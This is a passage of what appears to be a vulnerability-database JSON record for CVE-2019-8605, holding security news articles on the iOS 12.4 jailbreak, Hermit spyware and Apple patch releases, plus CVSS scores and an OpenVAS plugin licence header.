2019](<https://twitter.com/Pwn20wnd/status/1163545842642386944?ref_src=twsrc%5Etfw>)\n\nPublic iOS jailbreaks are not common, especially for up-to-date phones \u2013 in fact, this is the first public jailbreak released in years that addresses fully updated phones.\n\nMalicious attacks on jailbroken phones allow privilege escalation and full hacks of Apple devices; and because this vulnerability could be exploited via a malicious app to jailbreak phones, security researchers like Stefan Esser are warning iPhone users with the most up-to-date patch to be extra cautious of any apps that they download \u2013 even those from the official App Store.\n\n> I hope people are aware that with a public jailbreak being available for the latest iOS 12.4 people must be very careful what Apps they download from the Apple AppStore. Any such app could have a copy of the jailbreak in it.\n> \n> \u2014 Stefan Esser (@i0n1c) [August 19, 2019](<https://twitter.com/i0n1c/status/1163400360020598784?ref_src=twsrc%5Etfw>)\n\nBlake Collins, research analyst at SiteLock said in an email that the jailbreak makes phones an easier target for malware and spyware.\n\n\u201cIn this instance with iOS 12.4, there was an internal misstep where important code was removed,\u201d Blake Collins, research analyst at SiteLock, said in an email. \u201cWith this update, phones can be jailbroken again and are now vulnerable to spyware or worse. The implications for this are far-reaching.\u201d\n\nIn addition, the vulnerability makes the personal and private data on vulnerable iPhones more accessible \u201cin unforeseen ways,\u201d he said.\n\n\u201cPhotos, emails, phone numbers and possibly even banking data could be stolen if you installed an app that was able to exploit these escalated privileges,\u201d said Collins. \u201cFor those who want to have the flexibility that comes with a jailbroken phone, it\u2019s critical that you\u2019re educated on all the vulnerabilities and security issues this opens up for you.\u201d\n\nApple has not responded to a request for comment from Threatpost on the incident, or whether a patch is being released.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-20T15:22:05", "type": "threatpost", "title": "Apple iOS Patch Blunder Opens Updated iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T15:22:05", "id": "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C", "href": "https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-24T11:07:31", "description": "Google is warning victims in Kazakhstan and Italy that they are being targeted by Hermit, a sophisticated and modular spyware from Italian vendor RCS Labs that not only can steal data but also record and make calls.\n\nResearchers from Google Threat Analysis Group (TAG) revealed details [in a blog post](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) Thursday by TAG researchers Benoit Sevens and Clement Lecigne about campaigns that send a unique link to targets to fake apps impersonating legitimate ones to try to get them to download and install the spyware. None of the fake apps were found on either Apple\u2019s or Google\u2019s respective mobile app stores, however, they said.\n\n\u201cWe are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android,\u201d a Google TAG spokesperson wrote in an email to Threatpost sent Thursday afternoon.\n\nAll campaigns that TAG observed originated with a unique link sent to the target that then tries to lure users into downloading Hermit spyware in one of two ways, researchers wrote in the post. Once clicked, victims are redirected to a web page for downloading and installing a surveillance app on either Android or iOS.\n\n\u201cThe page, in Italian, asks the user to install one of these applications in order to recover their account,\u201d with WhatsApp download links specifically pointing to attacker-controlled content for Android or iOS users, researchers wrote.\n\n## **Collaborating with ISPs**\n\nOne lure employed by threat actors is to work with the target\u2019s ISP to disable his or her mobile data connectivity, and then masquerade as a carrier application sent in a link to try to get the target to install a malicious app to recover connectivity, they said.\n\nResearchers outlined in a separate blog post by Ian Beer of [Google Project Zero](<https://googleprojectzero.blogspot.com/>) a case in which they discovered what appeared to be an iOS app from Vodafone but which in fact is a fake app. Attackers are sending a link to this malicious app by SMS to try to fool targets into downloading the Hermit spyware.\n\n\u201cThe SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app,\u201d Beer wrote.\n\nIndeed, this is likely the reason why most of the applications they observed in the Hermit campaign masqueraded as mobile carrier applications, Google TAG researchers wrote.\n\nIn other cases when they can\u2019t work directly with ISPs, threat actors use apps appearing to be messaging applications to hide Hermit, according to Google TAG, confirming what Lookout previously discovered in its research.\n\n## **iOS Campaign Revealed**\n\nWhile Lookout previously shared details of how Hermit targeting Android devices works, Google TAG revealed specifics of how the spyware functions on iPhones.\n\nThey also released details of the host of vulnerabilities\u2014two of which were zero-day bugs when they were initially identified by Google Project Zero\u2014that attackers exploit in their campaign. In fact, Beer\u2019s post is a technical analysis of one of the bugs: [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3 and [fixed](<https://support.apple.com/en-us/HT212976>) by Apple [in December 2021](<https://threatpost.com/apple-ios-updates-iphone-13-jailbreak-exploit/177051/>).\n\nTo distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with a manifest file with com.ios.Carrier as the identifier, researchers outlined.\n\nThe resulting app is signed with a certificate from a company named 3-1 Mobile SRL that was enrolled in the Apple Developer Enterprise Program, thus legitimizing the certificate on iOS devices, they said.\n\nThe iOS app itself is broken up into multiple parts, researchers said, including a generic privilege escalation exploit wrapper which is used by six different exploits for previously identified bugs. In addition to Clieked3, the other bugs exploited are:\n\n * [CVE-2018-4344 ](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>)internally referred to and publicly known as LightSpeed;\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet;\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste;\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare; and\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n\nAll exploits used before 2021 are based on public exploits written by different jailbreaking communities, researchers added.\n\n## **Broader Implications**\n\nThe emergence of Hermit spyware shows how threat actors\u2014often working as state-sponsored entities\u2014are pivoting to using new surveillance technologies and tactics following the blow-up over repressive regimes\u2019 use of Israel-based NSO Group\u2019s [Pegasus spyware](<https://threatpost.com/protecting-phones-from-pegasus-like-spyware-attacks/167909/>) in cyberattacks against dissidents, activists and NGOs, as well as the [murders](<https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus>) of [journalists](<https://cpj.org/2021/07/pegasus-project-risk-corruption-reporters/>).\n\nIndeed, while use of spyware like Hermit may be legal under national or international laws, \u201cthey are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians,\u201d Google TAG researchers wrote.\n\nThe United States [blacklisted](<https://threatpost.com/pegasus-spyware-blacklisted-us/175999/>) NSO Group over the activity, which drew international attention and ire. But it apparently has not stopped the proliferation of spyware for nefarious purposes in the slightest, according to Google TAG.\n\nIn fact, the commercial spyware industry continues to thrive and grow at a significant rate, which \u201cshould be concerning to all Internet users,\u201d researchers wrote.\n\n\u201cThese vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house,\u201d they said.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:02:00", "type": "threatpost", "title": "Google Warns Spyware Being Deployed Against Android, iOS Users", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-24T11:02:00", "id": "THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "href": "https://threatpost.com/google-hermit-spyware-android-ios/180062/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-11T11:47:19", "description": "Apple has rolled out 173 patches across in various products across its hardware portfolio, including for dangerous bugs in macOS for laptops and desktops, iPhone, Apple TV and Apple Watch.\n\nThe update also includes a patch for the side-channel vulnerabilities in Intel chips [disclosed on Tuesday](<https://threatpost.com/intel-cpus-impacted-by-new-class-of-spectre-like-attacks/144728/>), which open the door to the attack vectors collectively dubbed \u201cZombieLoad.\u201d\n\nAll Mac laptops stretching back to 2011 are affected by the Intel flaws.\n\n## Side-Channel Flaw\n\nOf particular note in the massive update is a patch for four side-channel bugs that affect the microcode of macOS Mojave 10.14.4 (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 and CVE-2019-11091).\n\nThese impact load ports, fill buffers, and store buffers in systems with microprocessors utilizing speculative execution. They stem from side-channel vulnerabilities, dubbed Microarchitectural Data Sampling (MDS), impacting all modern Intel chips. Attackers could use speculative execution to potentially leak sensitive data from a system\u2019s CPU.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker with local user access to potentially enable information disclosure via a side channel,\u201d according to the [Apple advisory](<https://support.apple.com/en-us/HT210119>). \u201cMultiple information-disclosure issues were addressed partially by updating the microcode and changing the OS scheduler to isolate the system from web content running in the browser.\u201d\n\nThe [four different attack vectors](<https://cpu.fail/>) are dubbed ZombieLoad, Fallout, RIDL (Rogue In-Flight Data Load) and Store-to-Leak Forwarding, and have been detailed and publicly disclosed on Tuesday by an array of security researchers.\n\nTo completely address these issues, there are additional [opt-in mitigations](<https://support.apple.com/kb/HT210107>) to disable hyper threading and enable microcode-based mitigations for all processes by default.\n\n## iOS 12.3 Update (42 Fixes)\n\nApple has also rolled out a [cornucopia of patches](<https://support.apple.com/en-us/HT210118>) for iPhone 5s and later, the iPad Air and later, and the sixth-generation iPod touch.\n\nThe most severe are bugs that are also present in the Apple Watch. These include flaws in the kernel (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges on a target device. It\u2019s a use-after-free issue that was addressed with improved memory management.\n\nAnother shared flaw with Apple Watch is a use-after-free issue in the Mail Message Framework (CVE-2019-8613), which would allow a remote attacker to cause arbitrary code execution. And in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\nYet another flaw shared with Apple Watch (CVE-2019-8620) would allow a device to be passively tracked by its Wi-Fi MAC address.\n\nAside from these, also interesting is a Lock Screen logic problem (CVE-2019-8599) that would allow a person with physical access to an iOS device to see the email address used for iTunes.\n\nAn input validation bug (CVE-2019-8626) in the Mail function meanwhile could lead to denial of service. An attacker could exploit this by sending the target victim a maliciously crafted mail message.\n\nOther patches address vulnerabilities that could be exploited to achieve everything from privilege escalation and escaping sandboxes to overwriting files and information disclosure.\n\n## Safari 12.1.1 Update (21 Fixes)\n\nApple also patched [multiple flaws](<https://support.apple.com/en-us/HT210123>) in the operating systems that power its Macbooks and desktops: macOS Sierra 10.12.6, macOS High Sierra 10.13.6 and macOS Mojave 10.14.5 are vulnerable. All of the bugs are in WebKit, and they can all be exploited via processing maliciously crafted web content.\n\nOne flaw is an out-of-bounds read vulnerability (CVE-2019-8607); and there are also 20 different memory-corruption issues that may lead to arbitrary code-execution. Apple didn\u2019t provide further details.\n\n## tvOS 12.3 Update (35 Fixes)\n\nThe Apple TV 4K and Apple TV HD platforms meanwhile are [riddled with vulnerabilities;](<https://support.apple.com/en-us/HT210120>) 35 of them in all.\n\nMost of them are memory corruption issues (a total of 20) that could allow arbitrary code-execution via maliciously crafted web content.\n\nAnother two memory bugs (in AppleFileConduit, CVE-2019-8593 and in sysdiagnose, CVE-2019-8574) could allow an application to execute arbitrary code with system privileges.\n\nThree bugs were patched in the kernel: A use-after-free issue (CVE-2019-8605) that could lead to arbitrary code-execution with system privileges; an out-of-bounds read (CVE-2019-8576) that could allow a local user to cause unexpected system termination or read kernel memory; and a type confusion issue (CVE-2019-8591) that could allow an application to cause unexpected system termination or write kernel memory.\n\nAlso notable is an out-of-bounds read that could lead to arbitrary code execution in CoreAudio (CVE-2019-8585); and in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\n## watchOS 5.2.1 Update (21 Fixes)\n\nApple Watch Series 1 and later has [a slew of issues](<https://support.apple.com/en-us/HT210122>), many shared with non-updated versions of iOS.\n\nThe most severe of the bunch include a memory corruption issue CVE-2019-8593 in the AppleFileConduit component that could allow an application to execute arbitrary code with system privileges; and an out-of-bounds read bug (CVE-2019-8585) in CoreAudio allowing a maliciously crafted movie file to lead to arbitrary code execution.\n\nThere are also three vulnerabilities in the kernel: A use-after-free issue (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges (also fixed in iOS); an out-of-bounds read (CVE-2019-8576) that would allow a local user to cause unexpected system termination or read the kernel memory; and a type confusion issue (CVE-2019-8591) that would allow a malicious application to cause unexpected system termination or write kernel memory.\n\nWatch also suffers from the same use-after-free bug in the Mail Message Framework (CVE-2019-8613) that allows remote code-execution; this is also fixed in the iOS update.\n\nAnd, also fixed is the user-privacy issue present in iOS (CVE-2019-8620) that would allow a device to be passively tracked by its Wi-Fi MAC address.\n\n## Apple TV Software 7.3 Update (3 Fixes)\n\nAnd finally, the third-generation Apple TV has [three vulnerabilities](<https://support.apple.com/en-us/HT210121>), existing in both the Bluetooth and Wi-Fi functions.\n\nAn input validation issue in Bluetooth (CVE-2017-14315) could allow a remote attacker to cause an unexpected application termination or arbitrary code execution. And as for Wi-Fi, an attacker within range may be able to execute arbitrary code on the Wi-Fi chip via a memory corruption problem (CVE-2017-9417), or via a stack buffer overflow (CVE-2017-6975)\n\n## Other Fixes\n\nApple also fixed [50 additional vulnerabilities](<https://support.apple.com/en-us/HT210119>) in macOS Mojave 10.14.5; Security Update 2019-003 High Sierra; Security Update 2019-003 Sierra; macOS Sierra 10.12.6; macOS High Sierra 10.13.6; and macOS Mojave 10.14.4.\n\n**_Want to know more about Identity Management and navigating the shift beyond passwords? Don\u2019t miss _**[**_our Threatpost webinar on May 29 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/8039101655437489665?source=ART>)**_. Join Threatpost editor Tom Spring and a panel of experts as they discuss how cloud, mobility and digital transformation are accelerating the adoption of new Identity Management solutions. Experts discuss the impact of millions of new digital devices (and things) requesting access to managed networks and the challenges that follow._**\n", "cvss3": {}, "published": "2019-05-14T20:31:36", "type": "threatpost", "title": "Apple Patches Intel Side-Channel Bugs; Updates iOS, macOS and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-14315", "CVE-2017-6975", "CVE-2017-9417", "CVE-2018-12126", "CVE-2018-12127", "CVE-2018-12130", "CVE-2019-11091", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8599", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8626", "CVE-2019-8637"], "modified": "2019-05-14T20:31:36", "id": "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "href": "https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2020-03-05T16:57:30", "description": "This host is installed with Apple Mac OS X\n and is prone to arbitrary code execution vulnerability.", "cvss3": {}, "published": "2019-09-11T00:00:00", "type": "openvas", "title": "Apple MacOSX Security Updates(HT210548)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-04T00:00:00", "id": "OPENVAS:1361412562310815616", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815616", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-27T06:06:00", "type": "thn", "title": "Apple Releases iOS 12.4.1 Emergency Update to Patch 'Jailbreak' Flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-27T06:06:41", "id": "THN:79F83648DEAA2E305471E325D6B2DE48", "href": "https://thehackernews.com/2019/08/apple-ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:49", "description": "[](<https://thehackernews.com/images/-7tUyE06-O2I/XVwI37N5QoI/AAAAAAAA0yY/K0ABU8eE75gwAbGWQgBupFoTCy2paVSzQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.jpg>)\n\nA fully functional jailbreak has been released for the latest iOS 12.4 on the Internet, making it the first public jailbreak in a long time\u2014thanks to Apple. \n \nDubbed \"**unc0ver 3.5.0**,\" the jailbreak works with the updated iPhones, iPads and iPod Touches by leveraging a vulnerability that Apple previously patched in iOS 12.3 but accidentally reintroduced in the latest iOS version 12.4. \n \nJailbreaking an iPhone allows you to install apps and other functions that are usually not approved by Apple, but it also disables some system protections that Apple put in place to protect its users, opening you up to potential attacks. \n \nUsually, iPhone Jailbreaks are sold for millions of dollars by exploit brokers, but if you want to jailbreak your Apple device, you can do it for free. \n \nAn anonymous researcher who goes by the online alias \"Pwn20wnd\" has released a free [jailbreak for iOS 12.4](<https://github.com/pwn20wndstuff/Undecimus/releases>) on GitHub that exploits a use-after-free vulnerability in iOS kernel responsibly reported to Apple earlier this year by Ned Williamson, a researcher working with Google Project Zero. \n \nThe vulnerability, tracked as [CVE-2019-8605](<https://support.apple.com/en-in/HT210118>), allows an application to execute arbitrary code with system privileges on a target Apple device, which can not only be used to jailbreak them but also leaves users vulnerable to hackers. \n \nAccording to researchers, besides embedding the exploit into an innocent-looking app, the vulnerability can also be exploited remotely by combining it with sandbox bypass flaws in Apple Safari web browser or other Internet exposed services. \n\n\n[](<https://thehackernews.com/images/-6cxvnUPC8kQ/XVwDH8dMcNI/AAAAAAAA0yQ/W7MZUODZfec84YOiEtTKCpK3P3uIsZwYQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.png>)\n\nThough Apple patched this vulnerability in iOS 12.3, it accidentally reintroduced the same bug in iOS 12.4, making it easier for hackers to compromise Apple devices. \n \n\n\n> As Pwn20wnd [told](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>) Motherboard, \"somebody could make perfect spyware by exploiting this vulnerability.\"\n\n \n\n\n> \"For example, he said, a malicious app could include an exploit for this bug that allows it to escape the usual iOS sandbox\u2014a mechanism that prevents apps from reaching data of other apps or the system\u2014and steal user data.\"\n\n \nThe new jailbreak works on updated iOS devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier, but does not work at all on devices running iOS 12.3 that patched the bug. \n \nSeveral Apple users have taken to Twitter, claiming they used the Pwn20wnd jailbreak tool to successfully jailbreak [[1](<https://twitter.com/yosy1692/status/1163358975427010560>), [2](<https://twitter.com/Juanillo62gm/status/1163176886845005824?s=20>), [3](<https://twitter.com/Tiagonwk/status/1163243536747311105>), [4](<https://twitter.com/Liaoqingqing520/status/1163366529930412032?s=20>)] their Apple devices, including the recent iPhone X and iPhone XR, and posting screenshots of their iPhone screens with unapproved app installations. \n \nSince Apple doesn't allow users to downgrade their operating system, users who have already upgraded their Apple devices to the latest version of iOS released late last month are left with no option other than waiting for an update from Apple. \n \nLikely, Apple is already working on a patch to re-implement its earlier patch that will be released with iOS 12.4.1. Meanwhile, you should also beware of apps you download from the App Store until a patch releases. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-20T14:54:00", "type": "thn", "title": "iOS 12.4 jailbreak released after Apple 'accidentally un-patches' an old flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T19:30:02", "id": "THN:BC46175420BE934D07B4CB081F495CCB", "href": "https://thehackernews.com/2019/08/ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:27", "description": "[](<https://thehackernews.com/images/-9Pez-OxHVvE/Xst5DI1xVQI/AAAAAAAAAXA/0cbqJNzliBcyO6cOMlUz-TQIIBWRPCtBgCLcBGAsYHQ/s728-e100/ios-jailbreak-tools.png>)\n\nThe hacking team behind the \"unc0ver\" jailbreaking tool has released a new version of the software that can unlock every single iPhone, including those running the latest iOS 13.5 version. \n \nCalling it the first zero-day jailbreak to be released since iOS 8, unc0ver's lead developer [Pwn20wnd](<https://twitter.com/Pwn20wnd/status/1264258454610259968>) said \"every other jailbreak released since iOS 9 used 1day exploits that were either patched in the next beta version or the hardware.\" \n \nThe group did not specify which vulnerability in iOS was exploited to develop the latest version. \n \nThe [unc0ver website](<https://unc0ver.dev/>) also highlighted the extensive testing that went behind the scenes to ensure compatibility across a broad range of devices, from iPhone 6S to the new iPhone 11 Pro Max models, spanning versions iOS 11.0 through iOS 13.5, but excluding versions 12.3 to 12.3.2 and 12.4.2 to 12.4.5. \n \n\"Utilizing native system sandbox exceptions, security remains intact while enabling access to jailbreak files,\" according to unc0ver, meaning installing the new jailbreak will likely not compromise [iOS' sandbox protections](<https://developer.apple.com/library/archive/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html>). \n \nJailbreaking, analogous to rooting on Google's Android, is a privilege escalation that works by exploiting flaws in iOS to grant users root access and full control over their devices. This allows iOS users to remove software restrictions imposed by Apple, thereby allowing access to additional customization and otherwise prohibited apps. \n \nBut it also weakens the device's security, opening the door to all kinds of malware attacks. The added security risks, coupled with Apple's steady hardware and software lockdown, have made it difficult to jailbreak devices deliberately. \n \nFurthermore, jailbreaks tend to be very specific and based on previously disclosed vulnerabilities, and very much dependent on the iPhone model and iOS version, in order for them to be successfully replicated. \n \nThe development comes as zero-day exploit broker Zerodium said it would no longer purchase [iOS RCE vulnerabilities](<https://twitter.com/Zerodium/status/1260541578747064326>) for the next few months, citing \"a high number of submissions related to these vectors.\" \n \nLast August, Pwn20wnd exploited a SockPuppet flaw (CVE-2019-8605) uncovered by Googler Ned Williamson to release a [public version of the jailbreak](<https://thehackernews.com/2019/08/ios-iphone-jailbreak.html>) \u2014 making it the first time an up-to-date firmware was unlocked in years \u2014 after Apple accidentally reintroduced a previously patched flaw in iOS 12.4. The company later rolled out a fix in [iOS 12.4.1](<https://support.apple.com/en-us/HT210549>) to address the privilege escalation vulnerability. \n \nThen in September, a security researcher published details of a permanent unpatchable bootrom exploit, dubbed [checkm8](<https://thehackernews.com/2019/09/bootrom-jailbreak-ios-exploit.html>), that could be employed to jailbreak virtually every type of Apple mobile device released between 2011 and 2017, including iPhones, iPads, Apple Watches, and Apple TVs. \n \nWhile the new jailbreak leverages an as-yet-unknown zero-day vulnerability, the iPhone maker will likely roll out a security update in the coming weeks to plug the flaw exploited by unc0ver. \n \nThe new Unc0ver 5.0.0 jailbreak can be installed from iOS, macOS, Linux, and Windows devices. The usage instructions are available on the [unc0ver website](<https://unc0ver.dev/>) here.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-05-25T08:02:00", "type": "thn", "title": "New Tool Can Jailbreak Any iPhone and iPad Using An Unpatched 0-Day Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-05-25T08:02:17", "id": "THN:754EDA3BD8060BD079B3DB44EE616405", "href": "https://thehackernews.com/2020/05/iphone-ios-jailbreak-tools.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:32", "description": "[](<https://thehackernews.com/images/-l-j1592mC9I/Xn3hyLuETvI/AAAAAAAAAJU/DIFfA_78KIIw7NwHSG8Zv48C21xGcxD_wCLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\nA newly discovered watering-hole campaign is targeting Apple iPhone users in Hong Kong by using malicious website links as a lure to install spyware on the devices. \n \nAccording to research published by [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>) and [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>), the \"**Operation Poisoned News**\" attack leverages a remote iOS exploit chain to deploy a feature-rich implant called 'LightSpy' through links to local news websites, which when clicked, executes the malware payload and allows an interloper to exfiltrate sensitive data from the affected device and even take full control. \n \nWatering-hole attacks typically let a bad actor compromise a specific group of end-users by infecting websites that they are known to visit, with an intention to gain access to the victim's device and load it with malware. \n \nThe APT group, dubbed \"TwoSail Junk\" by Kaspersky, is said to be leveraging 